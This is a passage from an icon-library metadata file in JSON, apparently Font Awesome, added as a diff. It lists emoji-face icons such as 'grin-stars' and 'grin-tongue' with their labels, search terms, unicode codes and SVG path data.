6.4 4.6 11.8 10.9 10.9zm-187 108.3c-3-3-7.2-4.2-11.4-3.2L106 255.7c-5.7 1.4-9.5 6.7-9.1 12.6.5 5.8 5.1 10.5 10.9 11l52.3 4.8 4.8 52.3c.5 5.8 5.2 10.4 11 10.9h.9c5.5 0 10.3-3.7 11.7-9.1l22.6-90.5c1-4.2-.2-8.5-3.2-11.5zm39.7-25.1l90.5-22.6c5.7-1.4 9.5-6.7 9.1-12.6-.5-5.8-5.1-10.5-10.9-11l-52.3-4.8-4.8-52.3c-.5-5.8-5.2-10.4-11-10.9-5.6-.1-11.2 3.4-12.6 9.1L233 196.5c-1 4.1.2 8.4 3.2 11.4 5 5 11.3 3.2 11.4 3.2zm52 88.5c-29.1 29.1-59.7 52.9-83.9 65.4-9.2 4.8-10 17.5-1.7 23.4 38.9 27.7 107 6.2 143.7-30.6S416 253 388.3 214.1c-5.8-8.2-18.5-7.6-23.4 1.7-12.3 24.2-36.2 54.7-65.3 83.8z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "grin-stars": { + "changes": [ + "5.1.0", + "5.11.0", + "5.11.1" + ], + "ligatures": [], + "search": { + "terms": [ + "emoticon", + "face", + "star-struck" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f587", + "label": "Star-Struck", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635512, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zM94.6 168.9l34.9-5 15.5-31.6c2.9-5.8 11-5.8 13.9 0l15.5 31.6 34.9 5c6.2 1 8.9 8.6 4.3 13.2l-25.4 24.6 6 34.9c1 6.2-5.3 11-11 7.9L152 233.3l-31.3 16.3c-5.7 3.1-12-1.7-11-7.9l6-34.9-25.4-24.6c-4.6-4.7-1.9-12.3 4.3-13.3zM248 432c-60.6 0-134.5-38.3-143.8-93.3-2-11.8 9.3-21.5 20.7-17.9C155.1 330.5 200 336 248 336s92.9-5.5 123.1-15.2c11.5-3.7 22.6 6.1 20.7 17.9-9.3 55-83.2 93.3-143.8 93.3zm157.7-249.9l-25.4 24.6 6 34.9c1 6.2-5.3 11-11 7.9L344 233.3l-31.3 16.3c-5.7 3.1-12-1.7-11-7.9l6-34.9-25.4-24.6c-4.5-4.6-1.9-12.2 4.3-13.2l34.9-5 15.5-31.6c2.9-5.8 11-5.8 13.9 0l15.5 31.6 34.9 5c6.3.9 9 8.5 4.4 13.1z\"/></svg>", + "viewBox": [ + "0", + "0", + "496", + "512" + ], + "width": 496, + "height": 512, + "path": "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zM94.6 168.9l34.9-5 15.5-31.6c2.9-5.8 11-5.8 13.9 0l15.5 31.6 34.9 5c6.2 1 8.9 8.6 4.3 13.2l-25.4 24.6 6 34.9c1 6.2-5.3 11-11 7.9L152 233.3l-31.3 16.3c-5.7 3.1-12-1.7-11-7.9l6-34.9-25.4-24.6c-4.6-4.7-1.9-12.3 4.3-13.3zM248 432c-60.6 0-134.5-38.3-143.8-93.3-2-11.8 9.3-21.5 20.7-17.9C155.1 330.5 200 336 248 336s92.9-5.5 123.1-15.2c11.5-3.7 22.6 6.1 20.7 17.9-9.3 55-83.2 93.3-143.8 93.3zm157.7-249.9l-25.4 24.6 6 34.9c1 6.2-5.3 11-11 7.9L344 233.3l-31.3 16.3c-5.7 3.1-12-1.7-11-7.9l6-34.9-25.4-24.6c-4.5-4.6-1.9-12.2 4.3-13.2l34.9-5 15.5-31.6c2.9-5.8 11-5.8 13.9 0l15.5 31.6 34.9 5c6.3.9 9 8.5 4.4 13.1z" + }, + "regular": { + "last_modified": 1628088634837, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm105.6-151.4c-25.9 8.3-64.4 13.1-105.6 13.1s-79.6-4.8-105.6-13.1c-9.8-3.1-19.4 5.3-17.7 15.3 7.9 47.2 71.3 80 123.3 80s115.3-32.9 123.3-80c1.6-9.8-7.7-18.4-17.7-15.3zm-227.9-57.5c-1 6.2 5.4 11 11 7.9l31.3-16.3 31.3 16.3c5.6 3.1 12-1.7 11-7.9l-6-34.9 25.4-24.6c4.5-4.5 1.9-12.2-4.3-13.2l-34.9-5-15.5-31.6c-2.9-5.8-11-5.8-13.9 0l-15.5 31.6-34.9 5c-6.2.9-8.9 8.6-4.3 13.2l25.4 24.6-6.1 34.9zm259.7-72.7l-34.9-5-15.5-31.6c-2.9-5.8-11-5.8-13.9 0l-15.5 31.6-34.9 5c-6.2.9-8.9 8.6-4.3 13.2l25.4 24.6-6 34.9c-1 6.2 5.4 11 11 7.9l31.3-16.3 31.3 16.3c5.6 3.1 12-1.7 11-7.9l-6-34.9 25.4-24.6c4.5-4.6 1.8-12.2-4.4-13.2z\"/></svg>", + "viewBox": [ + "0", + "0", + "496", + "512" + ], + "width": 496, + "height": 512, + "path": "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm105.6-151.4c-25.9 8.3-64.4 13.1-105.6 13.1s-79.6-4.8-105.6-13.1c-9.8-3.1-19.4 5.3-17.7 15.3 7.9 47.2 71.3 80 123.3 80s115.3-32.9 123.3-80c1.6-9.8-7.7-18.4-17.7-15.3zm-227.9-57.5c-1 6.2 5.4 11 11 7.9l31.3-16.3 31.3 16.3c5.6 3.1 12-1.7 11-7.9l-6-34.9 25.4-24.6c4.5-4.5 1.9-12.2-4.3-13.2l-34.9-5-15.5-31.6c-2.9-5.8-11-5.8-13.9 0l-15.5 31.6-34.9 5c-6.2.9-8.9 8.6-4.3 13.2l25.4 24.6-6.1 34.9zm259.7-72.7l-34.9-5-15.5-31.6c-2.9-5.8-11-5.8-13.9 0l-15.5 31.6-34.9 5c-6.2.9-8.9 8.6-4.3 13.2l25.4 24.6-6 34.9c-1 6.2 5.4 11 11 7.9l31.3-16.3 31.3 16.3c5.6 3.1 12-1.7 11-7.9l-6-34.9 25.4-24.6c4.5-4.6 1.8-12.2-4.4-13.2z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "grin-tears": { + "changes": [ + "5.1.0" + ], + "ligatures": [], + "search": { + "terms": [ + "LOL", + "emoticon", + "face" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f588", + "label": "Face With Tears of Joy", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635512, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M102.4 256.1c-22.6 3.2-73.5 12-88.3 26.8-19.1 19.1-18.8 50.6.8 70.2s51 19.9 70.2.7c14.8-14.8 23.5-65.7 26.8-88.3.8-5.5-3.9-10.2-9.5-9.4zm523.4 26.8c-14.8-14.8-65.7-23.5-88.3-26.8-5.5-.8-10.3 3.9-9.5 9.5 3.2 22.6 12 73.5 26.8 88.3 19.2 19.2 50.6 18.9 70.2-.7s20-51.2.8-70.3zm-129.4-12.8c-3.8-26.6 19.1-49.5 45.7-45.7 8.9 1.3 16.8 2.7 24.3 4.1C552.7 104.5 447.7 8 320 8S87.3 104.5 73.6 228.5c7.5-1.4 15.4-2.8 24.3-4.1 33.2-3.9 48.6 25.3 45.7 45.7-11.8 82.3-29.9 100.4-35.8 106.4-.9.9-2 1.6-3 2.5 42.7 74.6 123 125 215.2 125s172.5-50.4 215.2-125.1c-1-.9-2.1-1.5-3-2.5-5.9-5.9-24-24-35.8-106.3zM400 152c23.8 0 52.7 29.3 56 71.4.7 8.6-10.8 12-14.9 4.5l-9.5-17c-7.7-13.7-19.2-21.6-31.5-21.6s-23.8 7.9-31.5 21.6l-9.5 17c-4.2 7.4-15.6 4-14.9-4.5 3.1-42.1 32-71.4 55.8-71.4zm-160 0c23.8 0 52.7 29.3 56 71.4.7 8.6-10.8 12-14.9 4.5l-9.5-17c-7.7-13.7-19.2-21.6-31.5-21.6s-23.8 7.9-31.5 21.6l-9.5 17c-4.2 7.4-15.6 4-14.9-4.5 3.1-42.1 32-71.4 55.8-71.4zm80 280c-60.6 0-134.5-38.3-143.8-93.3-2-11.7 9.2-21.6 20.7-17.9C227.1 330.5 272 336 320 336s92.9-5.5 123.1-15.2c11.4-3.7 22.6 6.1 20.7 17.9-9.3 55-83.2 93.3-143.8 93.3z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M102.4 256.1c-22.6 3.2-73.5 12-88.3 26.8-19.1 19.1-18.8 50.6.8 70.2s51 19.9 70.2.7c14.8-14.8 23.5-65.7 26.8-88.3.8-5.5-3.9-10.2-9.5-9.4zm523.4 26.8c-14.8-14.8-65.7-23.5-88.3-26.8-5.5-.8-10.3 3.9-9.5 9.5 3.2 22.6 12 73.5 26.8 88.3 19.2 19.2 50.6 18.9 70.2-.7s20-51.2.8-70.3zm-129.4-12.8c-3.8-26.6 19.1-49.5 45.7-45.7 8.9 1.3 16.8 2.7 24.3 4.1C552.7 104.5 447.7 8 320 8S87.3 104.5 73.6 228.5c7.5-1.4 15.4-2.8 24.3-4.1 33.2-3.9 48.6 25.3 45.7 45.7-11.8 82.3-29.9 100.4-35.8 106.4-.9.9-2 1.6-3 2.5 42.7 74.6 123 125 215.2 125s172.5-50.4 215.2-125.1c-1-.9-2.1-1.5-3-2.5-5.9-5.9-24-24-35.8-106.3zM400 152c23.8 0 52.7 29.3 56 71.4.7 8.6-10.8 12-14.9 4.5l-9.5-17c-7.7-13.7-19.2-21.6-31.5-21.6s-23.8 7.9-31.5 21.6l-9.5 17c-4.2 7.4-15.6 4-14.9-4.5 3.1-42.1 32-71.4 55.8-71.4zm-160 0c23.8 0 52.7 29.3 56 71.4.7 8.6-10.8 12-14.9 4.5l-9.5-17c-7.7-13.7-19.2-21.6-31.5-21.6s-23.8 7.9-31.5 21.6l-9.5 17c-4.2 7.4-15.6 4-14.9-4.5 3.1-42.1 32-71.4 55.8-71.4zm80 280c-60.6 0-134.5-38.3-143.8-93.3-2-11.7 9.2-21.6 20.7-17.9C227.1 330.5 272 336 320 336s92.9-5.5 123.1-15.2c11.4-3.7 22.6 6.1 20.7 17.9-9.3 55-83.2 93.3-143.8 93.3z" + }, + "regular": { + "last_modified": 1628088634837, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M117.1 256.1c-25.8 3.7-84 13.7-100.9 30.6-21.9 21.9-21.5 57.9.9 80.3s58.3 22.8 80.3.9C114.3 351 124.3 292.8 128 267c.8-6.4-4.6-11.8-10.9-10.9zm506.7 30.6c-16.9-16.9-75.1-26.9-100.9-30.6-6.3-.9-11.7 4.5-10.8 10.8 3.7 25.8 13.7 84 30.6 100.9 21.9 21.9 57.9 21.5 80.3-.9 22.3-22.3 22.7-58.3.8-80.2zm-126.6 61.7C463.8 412.3 396.9 456 320 456c-76.9 0-143.8-43.7-177.2-107.6-12.5 37.4-25.2 43.9-28.3 46.5C159.1 460.7 234.5 504 320 504s160.9-43.3 205.5-109.1c-3.2-2.7-15.9-9.2-28.3-46.5zM122.7 224.5C137.9 129.2 220.5 56 320 56c99.5 0 182.1 73.2 197.3 168.5 2.1-.2 5.2-2.4 49.5 7C554.4 106 448.7 8 320 8S85.6 106 73.2 231.4c44.5-9.4 47.1-7.2 49.5-6.9zM320 400c51.9 0 115.3-32.9 123.3-80 1.7-9.9-7.7-18.5-17.7-15.3-25.9 8.3-64.4 13.1-105.6 13.1s-79.6-4.8-105.6-13.1c-9.8-3.1-19.4 5.3-17.7 15.3 8 47.1 71.4 80 123.3 80zm130.3-168.3c3.6-1.1 6-4.5 5.7-8.3-3.3-42.1-32.2-71.4-56-71.4s-52.7 29.3-56 71.4c-.3 3.7 2.1 7.2 5.7 8.3 3.5 1.1 7.4-.5 9.3-3.7l9.5-17c7.7-13.7 19.2-21.6 31.5-21.6s23.8 7.9 31.5 21.6l9.5 17c2.1 3.6 6.2 4.6 9.3 3.7zM240 189.4c12.3 0 23.8 7.9 31.5 21.6l9.5 17c2.1 3.7 6.2 4.7 9.3 3.7 3.6-1.1 6-4.5 5.7-8.3-3.3-42.1-32.2-71.4-56-71.4s-52.7 29.3-56 71.4c-.3 3.7 2.1 7.2 5.7 8.3 3.5 1.1 7.4-.5 9.3-3.7l9.5-17c7.7-13.8 19.2-21.6 31.5-21.6z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M117.1 256.1c-25.8 3.7-84 13.7-100.9 30.6-21.9 21.9-21.5 57.9.9 80.3s58.3 22.8 80.3.9C114.3 351 124.3 292.8 128 267c.8-6.4-4.6-11.8-10.9-10.9zm506.7 30.6c-16.9-16.9-75.1-26.9-100.9-30.6-6.3-.9-11.7 4.5-10.8 10.8 3.7 25.8 13.7 84 30.6 100.9 21.9 21.9 57.9 21.5 80.3-.9 22.3-22.3 22.7-58.3.8-80.2zm-126.6 61.7C463.8 412.3 396.9 456 320 456c-76.9 0-143.8-43.7-177.2-107.6-12.5 37.4-25.2 43.9-28.3 46.5C159.1 460.7 234.5 504 320 504s160.9-43.3 205.5-109.1c-3.2-2.7-15.9-9.2-28.3-46.5zM122.7 224.5C137.9 129.2 220.5 56 320 56c99.5 0 182.1 73.2 197.3 168.5 2.1-.2 5.2-2.4 49.5 7C554.4 106 448.7 8 320 8S85.6 106 73.2 231.4c44.5-9.4 47.1-7.2 49.5-6.9zM320 400c51.9 0 115.3-32.9 123.3-80 1.7-9.9-7.7-18.5-17.7-15.3-25.9 8.3-64.4 13.1-105.6 13.1s-79.6-4.8-105.6-13.1c-9.8-3.1-19.4 5.3-17.7 15.3 8 47.1 71.4 80 123.3 80zm130.3-168.3c3.6-1.1 6-4.5 5.7-8.3-3.3-42.1-32.2-71.4-56-71.4s-52.7 29.3-56 71.4c-.3 3.7 2.1 7.2 5.7 8.3 3.5 1.1 7.4-.5 9.3-3.7l9.5-17c7.7-13.7 19.2-21.6 31.5-21.6s23.8 7.9 31.5 21.6l9.5 17c2.1 3.6 6.2 4.6 9.3 3.7zM240 189.4c12.3 0 23.8 7.9 31.5 21.6l9.5 17c2.1 3.7 6.2 4.7 9.3 3.7 3.6-1.1 6-4.5 5.7-8.3-3.3-42.1-32.2-71.4-56-71.4s-52.7 29.3-56 71.4c-.3 3.7 2.1 7.2 5.7 8.3 3.5 1.1 7.4-.5 9.3-3.7l9.5-17c7.7-13.8 19.2-21.6 31.5-21.6z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "grin-tongue": { + "changes": [ + "5.1.0", + "5.11.0", + "5.11.1" + ], + "ligatures": [], + "search": { + "terms": [ + "LOL", + "emoticon", + "face" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f589", + "label": "Face With Tongue", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635513, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M248 8C111 8 0 119 0 256c0 106.3 67 196.7 161 232-5.6-12.2-9-25.7-9-40v-45.5c-24.7-16.2-43.5-38.1-47.8-63.8-2-11.8 9.3-21.5 20.7-17.9C155.1 330.5 200 336 248 336s92.9-5.5 123.1-15.2c11.4-3.6 22.6 6.1 20.7 17.9-4.3 25.7-23.1 47.6-47.8 63.8V448c0 14.3-3.4 27.8-9 40 94-35.3 161-125.7 161-232C496 119 385 8 248 8zm-80 232c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm160 0c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm-34.9 134.6c-14.4-6.5-31.1 2.2-34.6 17.6l-1.8 7.8c-2.1 9.2-15.2 9.2-17.3 0l-1.8-7.8c-3.5-15.4-20.2-24.1-34.6-17.6-.9.4.3-.2-18.9 9.4v63c0 35.2 28 64.5 63.1 64.9 35.7.5 64.9-28.4 64.9-64v-64c-19.5-9.6-18.2-8.9-19-9.3z\"/></svg>", + "viewBox": [ + "0", + "0", + "496", + "512" + ], + "width": 496, + "height": 512, + "path": "M248 8C111 8 0 119 0 256c0 106.3 67 196.7 161 232-5.6-12.2-9-25.7-9-40v-45.5c-24.7-16.2-43.5-38.1-47.8-63.8-2-11.8 9.3-21.5 20.7-17.9C155.1 330.5 200 336 248 336s92.9-5.5 123.1-15.2c11.4-3.6 22.6 6.1 20.7 17.9-4.3 25.7-23.1 47.6-47.8 63.8V448c0 14.3-3.4 27.8-9 40 94-35.3 161-125.7 161-232C496 119 385 8 248 8zm-80 232c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm160 0c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm-34.9 134.6c-14.4-6.5-31.1 2.2-34.6 17.6l-1.8 7.8c-2.1 9.2-15.2 9.2-17.3 0l-1.8-7.8c-3.5-15.4-20.2-24.1-34.6-17.6-.9.4.3-.2-18.9 9.4v63c0 35.2 28 64.5 63.1 64.9 35.7.5 64.9-28.4 64.9-64v-64c-19.5-9.6-18.2-8.9-19-9.3z" + }, + "regular": { + "last_modified": 1628088634838, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm64 400c0 35.6-29.1 64.5-64.9 64-35.1-.5-63.1-29.8-63.1-65v-42.8l17.7-8.8c15-7.5 31.5 1.7 34.9 16.5l2.8 12.1c2.1 9.2 15.2 9.2 17.3 0l2.8-12.1c3.4-14.8 19.8-24.1 34.9-16.5l17.7 8.8V408zm28.2 25.3c2.2-8.1 3.8-16.5 3.8-25.3v-43.5c14.2-12.4 24.4-27.5 27.3-44.5 1.7-9.9-7.7-18.5-17.7-15.3-25.9 8.3-64.4 13.1-105.6 13.1s-79.6-4.8-105.6-13.1c-9.9-3.1-19.4 5.3-17.7 15.3 2.9 17 13.1 32.1 27.3 44.5V408c0 8.8 1.6 17.2 3.8 25.3C91.8 399.9 48 333 48 256c0-110.3 89.7-200 200-200s200 89.7 200 200c0 77-43.8 143.9-107.8 177.3zM168 176c-17.7 0-32 14.3-32 32s14.3 32 32 32 32-14.3 32-32-14.3-32-32-32zm160 0c-17.7 0-32 14.3-32 32s14.3 32 32 32 32-14.3 32-32-14.3-32-32-32z\"/></svg>", + "viewBox": [ + "0", + "0", + "496", + "512" + ], + "width": 496, + "height": 512, + "path": "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm64 400c0 35.6-29.1 64.5-64.9 64-35.1-.5-63.1-29.8-63.1-65v-42.8l17.7-8.8c15-7.5 31.5 1.7 34.9 16.5l2.8 12.1c2.1 9.2 15.2 9.2 17.3 0l2.8-12.1c3.4-14.8 19.8-24.1 34.9-16.5l17.7 8.8V408zm28.2 25.3c2.2-8.1 3.8-16.5 3.8-25.3v-43.5c14.2-12.4 24.4-27.5 27.3-44.5 1.7-9.9-7.7-18.5-17.7-15.3-25.9 8.3-64.4 13.1-105.6 13.1s-79.6-4.8-105.6-13.1c-9.9-3.1-19.4 5.3-17.7 15.3 2.9 17 13.1 32.1 27.3 44.5V408c0 8.8 1.6 17.2 3.8 25.3C91.8 399.9 48 333 48 256c0-110.3 89.7-200 200-200s200 89.7 200 200c0 77-43.8 143.9-107.8 177.3zM168 176c-17.7 0-32 14.3-32 32s14.3 32 32 32 32-14.3 32-32-14.3-32-32-32zm160 0c-17.7 0-32 14.3-32 32s14.3 32 32 32 32-14.3 32-32-14.3-32-32-32z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "grin-tongue-squint": { + "changes": [ + "5.1.0", + "5.11.0", + "5.11.1" + ], + "ligatures": [], + "search": { + "terms": [ + "LOL", + "emoticon", + "face" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f58a", + "label": "Squinting Face With Tongue", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635513, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M293.1 374.6c-14.4-6.5-31.1 2.2-34.6 17.6l-1.8 7.8c-2.1 9.2-15.2 9.2-17.3 0l-1.8-7.8c-3.5-15.4-20.2-24.1-34.6-17.6-.9.4.3-.2-18.9 9.4v63c0 35.2 28 64.5 63.1 64.9 35.7.5 64.9-28.4 64.9-64v-64c-19.5-9.6-18.2-8.9-19-9.3zM248 8C111 8 0 119 0 256c0 106.3 67 196.7 161 232-5.6-12.2-9-25.7-9-40v-45.5c-24.7-16.2-43.5-38.1-47.8-63.8-2-11.8 9.2-21.5 20.7-17.9C155.1 330.5 200 336 248 336s92.9-5.5 123.1-15.2c11.4-3.7 22.6 6.1 20.7 17.9-4.3 25.7-23.1 47.6-47.8 63.8V448c0 14.3-3.4 27.8-9 40 94-35.3 161-125.7 161-232C496 119 385 8 248 8zm-33.8 210.3l-80 48c-11.5 6.8-24-7.6-15.4-18l33.6-40.3-33.6-40.3c-8.6-10.3 3.8-24.9 15.4-18l80 48c7.7 4.7 7.7 15.9 0 20.6zm163 30c8.7 10.4-3.9 24.8-15.4 18l-80-48c-7.8-4.7-7.8-15.9 0-20.6l80-48c11.7-6.9 23.9 7.7 15.4 18L343.6 208l33.6 40.3z\"/></svg>", + "viewBox": [ + "0", + "0", + "496", + "512" + ], + "width": 496, + "height": 512, + "path": "M293.1 374.6c-14.4-6.5-31.1 2.2-34.6 17.6l-1.8 7.8c-2.1 9.2-15.2 9.2-17.3 0l-1.8-7.8c-3.5-15.4-20.2-24.1-34.6-17.6-.9.4.3-.2-18.9 9.4v63c0 35.2 28 64.5 63.1 64.9 35.7.5 64.9-28.4 64.9-64v-64c-19.5-9.6-18.2-8.9-19-9.3zM248 8C111 8 0 119 0 256c0 106.3 67 196.7 161 232-5.6-12.2-9-25.7-9-40v-45.5c-24.7-16.2-43.5-38.1-47.8-63.8-2-11.8 9.2-21.5 20.7-17.9C155.1 330.5 200 336 248 336s92.9-5.5 123.1-15.2c11.4-3.7 22.6 6.1 20.7 17.9-4.3 25.7-23.1 47.6-47.8 63.8V448c0 14.3-3.4 27.8-9 40 94-35.3 161-125.7 161-232C496 119 385 8 248 8zm-33.8 210.3l-80 48c-11.5 6.8-24-7.6-15.4-18l33.6-40.3-33.6-40.3c-8.6-10.3 3.8-24.9 15.4-18l80 48c7.7 4.7 7.7 15.9 0 20.6zm163 30c8.7 10.4-3.9 24.8-15.4 18l-80-48c-7.8-4.7-7.8-15.9 0-20.6l80-48c11.7-6.9 23.9 7.7 15.4 18L343.6 208l33.6 40.3z" + }, + "regular": { + "last_modified": 1628088634837, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm64 400c0 35.6-29.1 64.5-64.9 64-35.1-.5-63.1-29.8-63.1-65v-42.8l17.7-8.8c15-7.5 31.5 1.7 34.9 16.5l2.8 12.1c2.1 9.2 15.2 9.2 17.3 0l2.8-12.1c3.4-14.8 19.8-24.1 34.9-16.5l17.7 8.8V408zm28.2 25.3c2.2-8.1 3.8-16.5 3.8-25.3v-43.5c14.2-12.4 24.4-27.5 27.3-44.5 1.7-9.9-7.7-18.5-17.7-15.3-25.9 8.3-64.4 13.1-105.6 13.1s-79.6-4.8-105.6-13.1c-9.9-3.1-19.4 5.3-17.7 15.3 2.9 17 13.1 32.1 27.3 44.5V408c0 8.8 1.6 17.2 3.8 25.3C91.8 399.9 48 333 48 256c0-110.3 89.7-200 200-200s200 89.7 200 200c0 77-43.8 143.9-107.8 177.3zm36.9-281.1c-3.8-4.4-10.3-5.5-15.3-2.5l-80 48c-3.6 2.2-5.8 6.1-5.8 10.3s2.2 8.1 5.8 10.3l80 48c5.4 3.2 11.7 1.7 15.3-2.5 3.8-4.5 3.8-11 .1-15.5L343.6 208l33.6-40.3c3.8-4.5 3.7-11.1-.1-15.5zm-162.9 45.5l-80-48c-5-3-11.4-2-15.3 2.5-3.8 4.5-3.8 11-.1 15.5l33.6 40.3-33.6 40.3c-3.8 4.5-3.7 11 .1 15.5 3.6 4.2 9.9 5.7 15.3 2.5l80-48c3.6-2.2 5.8-6.1 5.8-10.3s-2.2-8.1-5.8-10.3z\"/></svg>", + "viewBox": [ + "0", + "0", + "496", + "512" + ], + "width": 496, + "height": 512, + "path": "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm64 400c0 35.6-29.1 64.5-64.9 64-35.1-.5-63.1-29.8-63.1-65v-42.8l17.7-8.8c15-7.5 31.5 1.7 34.9 16.5l2.8 12.1c2.1 9.2 15.2 9.2 17.3 0l2.8-12.1c3.4-14.8 19.8-24.1 34.9-16.5l17.7 8.8V408zm28.2 25.3c2.2-8.1 3.8-16.5 3.8-25.3v-43.5c14.2-12.4 24.4-27.5 27.3-44.5 1.7-9.9-7.7-18.5-17.7-15.3-25.9 8.3-64.4 13.1-105.6 13.1s-79.6-4.8-105.6-13.1c-9.9-3.1-19.4 5.3-17.7 15.3 2.9 17 13.1 32.1 27.3 44.5V408c0 8.8 1.6 17.2 3.8 25.3C91.8 399.9 48 333 48 256c0-110.3 89.7-200 200-200s200 89.7 200 200c0 77-43.8 143.9-107.8 177.3zm36.9-281.1c-3.8-4.4-10.3-5.5-15.3-2.5l-80 48c-3.6 2.2-5.8 6.1-5.8 10.3s2.2 8.1 5.8 10.3l80 48c5.4 3.2 11.7 1.7 15.3-2.5 3.8-4.5 3.8-11 .1-15.5L343.6 208l33.6-40.3c3.8-4.5 3.7-11.1-.1-15.5zm-162.9 45.5l-80-48c-5-3-11.4-2-15.3 2.5-3.8 4.5-3.8 11-.1 15.5l33.6 40.3-33.6 40.3c-3.8 4.5-3.7 11 .1 15.5 3.6 4.2 9.9 5.7 15.3 2.5l80-48c3.6-2.2 5.8-6.1 5.8-10.3s-2.2-8.1-5.8-10.3z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "grin-tongue-wink": { + "changes": [ + "5.1.0", + "5.11.0", + "5.11.1", + "5.12.0" + ], + "ligatures": [], + "search": { + "terms": [ + "LOL", + "emoticon", + "face" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f58b", + "label": "Winking Face With Tongue", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635513, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M344 184c-13.3 0-24 10.7-24 24s10.7 24 24 24 24-10.7 24-24-10.7-24-24-24zM248 8C111 8 0 119 0 256c0 106.3 67 196.7 161 232-5.6-12.2-9-25.7-9-40v-45.5c-24.7-16.2-43.5-38.1-47.8-63.8-2-11.8 9.3-21.5 20.7-17.9C155.1 330.5 200 336 248 336s92.9-5.5 123.1-15.2c11.5-3.7 22.6 6.1 20.7 17.9-4.3 25.7-23.1 47.6-47.8 63.8V448c0 14.3-3.4 27.8-9 40 94-35.3 161-125.7 161-232C496 119 385 8 248 8zm-56 225l-9.5-8.5c-14.8-13.2-46.2-13.2-61 0L112 233c-8.5 7.4-21.6.3-19.8-10.8 4-25.2 34.2-42.1 59.9-42.1S208 197 212 222.2c1.6 11.1-11.6 18.2-20 10.8zm152 39c-35.3 0-64-28.7-64-64s28.7-64 64-64 64 28.7 64 64-28.7 64-64 64zm-50.9 102.6c-14.4-6.5-31.1 2.2-34.6 17.6l-1.8 7.8c-2.1 9.2-15.2 9.2-17.3 0l-1.8-7.8c-3.5-15.4-20.2-24.1-34.6-17.6-.9.4.3-.2-18.9 9.4v63c0 35.2 28 64.5 63.1 64.9 35.7.5 64.9-28.4 64.9-64v-64c-19.5-9.6-18.2-8.9-19-9.3z\"/></svg>", + "viewBox": [ + "0", + "0", + "496", + "512" + ], + "width": 496, + "height": 512, + "path": "M344 184c-13.3 0-24 10.7-24 24s10.7 24 24 24 24-10.7 24-24-10.7-24-24-24zM248 8C111 8 0 119 0 256c0 106.3 67 196.7 161 232-5.6-12.2-9-25.7-9-40v-45.5c-24.7-16.2-43.5-38.1-47.8-63.8-2-11.8 9.3-21.5 20.7-17.9C155.1 330.5 200 336 248 336s92.9-5.5 123.1-15.2c11.5-3.7 22.6 6.1 20.7 17.9-4.3 25.7-23.1 47.6-47.8 63.8V448c0 14.3-3.4 27.8-9 40 94-35.3 161-125.7 161-232C496 119 385 8 248 8zm-56 225l-9.5-8.5c-14.8-13.2-46.2-13.2-61 0L112 233c-8.5 7.4-21.6.3-19.8-10.8 4-25.2 34.2-42.1 59.9-42.1S208 197 212 222.2c1.6 11.1-11.6 18.2-20 10.8zm152 39c-35.3 0-64-28.7-64-64s28.7-64 64-64 64 28.7 64 64-28.7 64-64 64zm-50.9 102.6c-14.4-6.5-31.1 2.2-34.6 17.6l-1.8 7.8c-2.1 9.2-15.2 9.2-17.3 0l-1.8-7.8c-3.5-15.4-20.2-24.1-34.6-17.6-.9.4.3-.2-18.9 9.4v63c0 35.2 28 64.5 63.1 64.9 35.7.5 64.9-28.4 64.9-64v-64c-19.5-9.6-18.2-8.9-19-9.3z" + }, + "regular": { + "last_modified": 1628088634838, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M152 180c-25.7 0-55.9 